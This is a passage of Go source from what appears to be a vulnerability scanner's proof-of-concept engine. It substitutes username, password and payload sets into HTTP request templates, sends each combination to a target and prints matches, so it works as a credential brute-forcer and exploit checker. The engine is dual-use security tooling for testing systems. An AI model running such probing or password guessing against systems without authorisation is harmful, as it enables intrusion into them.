rule1.Headers { 329 | rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1) 330 | rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2) 331 | } 332 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1) 333 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) 334 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2) 335 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2) 336 | success, err = clustersend(oReq, variableMap, req, env, rule) 337 | if err != nil { 338 | return false, err 339 | } 340 | if success == true { 341 | break look2 342 | } 343 | } 344 | } 345 | if success == false { 346 | break 347 | } 348 | } 349 | 350 | if slen == 3 { 351 | look3: 352 | for _, var1 := range p.Sets[keys[0]] { 353 | for _, var2 := range p.Sets[keys[1]] { 354 | for _, var3 := range p.Sets[keys[2]] { 355 | rule1 := cloneRules(rule) 356 | for k2, v2 := range rule1.Headers { 357 | rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1) 358 | rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2) 359 | rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3) 360 | } 361 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1) 362 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) 363 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2) 364 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2) 365 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3) 366 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3) 367 | success, err = clustersend(oReq, variableMap, req, env, rule) 368 | if err != nil { 369 | return false, err 370 | } 371 | if success == true { 372 | break look3 373 | } 374 | } 375 | } 376 | } 377 | if success == false { 378 | break 379 | } 380 | } 381 | } 382 | return success, nil 383 | } 384 | 385 | func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) { 386 | setMap := make(map[string]interface{}) 387 | for k := range p.Sets { 388 | setMap[k] = p.Sets[k][0] 389 | } 390 | setMapbak := cloneMap1(setMap) 391 | for _, rule := range p.Rules { 392 | for k1, v1 := range variableMap { 393 | if IsContain(keys, k1) { 394 | continue 395 | } 396 | _, isMap := v1.(map[string]string) 397 | if isMap { 398 | continue 399 | } 400 | value := fmt.Sprintf("%v", v1) 401 | for k2, v2 := range rule.Headers { 402 | rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) 403 | } 404 | rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) 405 | rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) 406 | } 407 | 408 | varset := []string{} 409 | varpay := []string{} 410 | n := 0 411 | for k := range p.Sets { 412 | // 1. 如果rule中需要修改 {{k}} 如username、payload 413 | if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") { 414 | if strings.Contains(k, "payload") { 415 | varpay = append(varpay, k) 416 | } else { 417 | varset = append(varset, k) 418 | } 419 | n++ 420 | continue 421 | } 422 | for k2 := range rule.Headers { 423 | if strings.Contains(rule.Headers[k2], "{{"+k+"}}") { 424 | if strings.Contains(k, "payload") { 425 | varpay = append(varpay, k) 426 | } else { 427 | varset = append(varset, k) 428 | } 429 | n++ 430 | continue 431 | } 432 | } 433 | } 434 | 435 | for _, key := range varpay { 436 | v := fmt.Sprintf("%s", setMap[key]) 437 | for k := range p.Sets { 438 | if strings.Contains(v, k) { 439 | if !IsContain(varset, k) && !IsContain(varpay, k) { 440 | varset = append(varset, k) 441 | } 442 | } 443 | } 444 | } 445 | if n == 0 { 446 | success, err = clustersend(oReq, variableMap, req, env, rule) 447 | if err != nil { 448 | return false, err 449 | } 450 | if success == false { 451 | break 452 | } 453 | } 454 | if len(varset) == 1 { 455 | look1: 456 | // (var1 tomcat ,keys[0] username) 457 | for _, var1 := range p.Sets[varset[0]] { 458 | setMap := cloneMap1(setMapbak) 459 | setMap[varset[0]] = var1 460 | evalset(env, setMap) 461 | rule1 := cloneRules(rule) 462 | for k2, v2 := range rule1.Headers { 463 | rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1) 464 | for _, key := range varpay { 465 | rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) 466 | } 467 | } 468 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1) 469 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1) 470 | for _, key := range varpay { 471 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) 472 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) 473 | } 474 | success, err = clustersend(oReq, variableMap, req, env, rule) 475 | if err != nil { 476 | return false, err 477 | } 478 | 479 | if success == true { 480 | fmt.Println(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1)) 481 | break look1 482 | } 483 | } 484 | if success == false { 485 | break 486 | } 487 | } 488 | 489 | if len(varset) == 2 { 490 | look2: 491 | // (var1 tomcat ,keys[0] username) 492 | for _, var1 := range p.Sets[varset[0]] { //username 493 | for _, var2 := range p.Sets[varset[1]] { //password 494 | setMap := cloneMap1(setMapbak) 495 | setMap[varset[0]] = var1 496 | setMap[varset[1]] = var2 497 | evalset(env, setMap) 498 | rule1 := cloneRules(rule) 499 | for k2, v2 := range rule1.Headers { 500 | rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1) 501 | rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2) 502 | for _, key := range varpay { 503 | rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) 504 | } 505 | } 506 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1) 507 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1) 508 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2) 509 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2) 510 | for _, key := range varpay { 511 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) 512 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) 513 | } 514 | success, err = clustersend(oReq, variableMap, req, env, rule1) 515 | if err != nil { 516 | return false, err 517 | } 518 | if success == true { 519 | fmt.Println(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2)) 520 | break look2 521 | } 522 | } 523 | } 524 | if success == false { 525 | break 526 | } 527 | } 528 | 529 | if len(varset) == 3 { 530 | look3: 531 | for _, var1 := range p.Sets[keys[0]] { 532 | for _, var2 := range p.Sets[keys[1]] { 533 | for _, var3 := range p.Sets[keys[2]] { 534 | setMap := cloneMap1(setMapbak) 535 | setMap[varset[0]] = var1 536 | setMap[varset[1]] = var2 537 | evalset(env, setMap) 538 | rule1 := cloneRules(rule) 539 | for k2, v2 := range rule1.Headers { 540 | rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1) 541 | rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2) 542 | rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3) 543 | for _, key := range varpay { 544 | rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) 545 | } 546 | } 547 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1) 548 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) 549 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2) 550 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2) 551 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3) 552 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3) 553 | for _, key := range varpay { 554 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) 555 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) 556 | } 557 | success, err = clustersend(oReq, variableMap, req, env, rule) 558 | if err != nil { 559 | return false, err 560 | } 561 | if success == true { 562 | break look3 563 | } 564 | } 565 | } 566 | } 567 | if success == false { 568 | break 569 | } 570 | } 571 | } 572 | return success, nil 573 | } 574 | 575 | func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) { 576 | if oReq.URL.Path != "" && oReq.URL.Path != "/" { 577 | req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) 578 | } else { 579 | req.Url.Path = rule.Path 580 | } 581 | // 某些poc没有区分path和query,需要处理 582 | req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") 583 | req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") 584 | 585 | newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) 586 | newRequest.Header = oReq.Header.Clone() 587 | for k, v := range rule.Headers { 588 | newRequest.Header.Set(k, v) 589 | } 590 | resp, err := DoRequest(newRequest, rule.FollowRedirects) 591 | if err != nil { 592 | return false, err 593 | } 594 | variableMap["response"] = resp 595 | // 先判断响应页面是否匹配search规则 596 | if rule.Search != "" { 597 | result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body)) 598 | if result != nil && len(result) > 0 { // 正则匹配成功 599 | for k, v := range result { 600 | variableMap[k] = v 601 | } 602 | //return false, nil 603 | } else { 604 | return false, nil 605 | } 606 | } 607 | 608 | out, err := Evaluate(env, rule.Expression, variableMap) 609 | if err != nil { 610 | return false, err 611 | } 612 | //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) 613 | if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule 614 | return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败 615 | } 616 | return true, err 617 | } 618 | 619 | func cloneRules(tags Rules) Rules { 620 | cloneTags := Rules{} 621 | cloneTags.Method = tags.Method 622 | cloneTags.Path = tags.Path 623 | cloneTags.Body = tags.Body 624 | cloneTags.Search = tags.Search 625 | cloneTags.FollowRedirects = tags.FollowRedirects 626 | cloneTags.Expression = tags.Expression 627 | cloneTags.Headers = cloneMap(tags.Headers) 628 | return cloneTags 629 | } 630 | 631 | func cloneMap(tags map[string]string) map[string]string { 632 | cloneTags := make(map[string]string) 633 | for k, v := range tags { 634 | cloneTags[k] = v 635 | } 636 | return cloneTags 637 | } 638 | 639 | func cloneMap1(tags map[string]interface{}) map[string]interface{} { 640 | cloneTags := make(map[string]interface{}) 641 | for k, v := range tags { 642 | cloneTags[k] = v 643 | } 644 | return cloneTags 645 | } 646 | 647 | func IsContain(items []string, item string) bool { 648 | for _, eachItem := range items { 649 | if eachItem == item { 650 | return true 651 | } 652 | } 653 | return false 654 | } 655 | 656 | func evalset(env *cel.Env, variableMap map[string]interface{}) { 657 | for k := range variableMap { 658 | expression := fmt.Sprintf("%v", variableMap[k]) 659 | if !strings.Contains(k, "payload") { 660 | out, err := Evaluate(env, expression, variableMap) 661 | if err != nil { 662 | //fmt.Println(err) 663 | variableMap[k] = expression 664 | continue 665 | } 666 | switch value := out.Value().(type) { 667 | case *UrlType: 668 | variableMap[k] = UrlTypeToString(value) 669 | case int64: 670 | variableMap[k] = fmt.Sprintf("%v", value) 671 | case []uint8: 672 | variableMap[k] = fmt.Sprintf("%v", out) 673 | default: 674 | variableMap[k] = fmt.Sprintf("%v", out) 675 | } 676 | } 677 | } 678 | 679 | for k := range variableMap { 680 | expression := fmt.Sprintf("%v", variableMap[k]) 681 | if strings.Contains(k, "payload") { 682 | out, err := Evaluate(env, expression, variableMap) 683 | if err != nil { 684 | //fmt.Println(err) 685 | variableMap[k] = expression 686 | } else { 687 | variableMap[k] = fmt.Sprintf("%v", out) 688 | } 689 | } 690 | } 691 | } 692 | 693 | func CheckInfoPoc(infostr string) string { 694 | for _, poc := range info.PocDatas { 695 | if strings.Compare(poc.Name,infostr) == 0 { 696 | return poc.Alias 697 | } 698 | } 699 | return "" 700 | } --------------------------------------------------------------------------------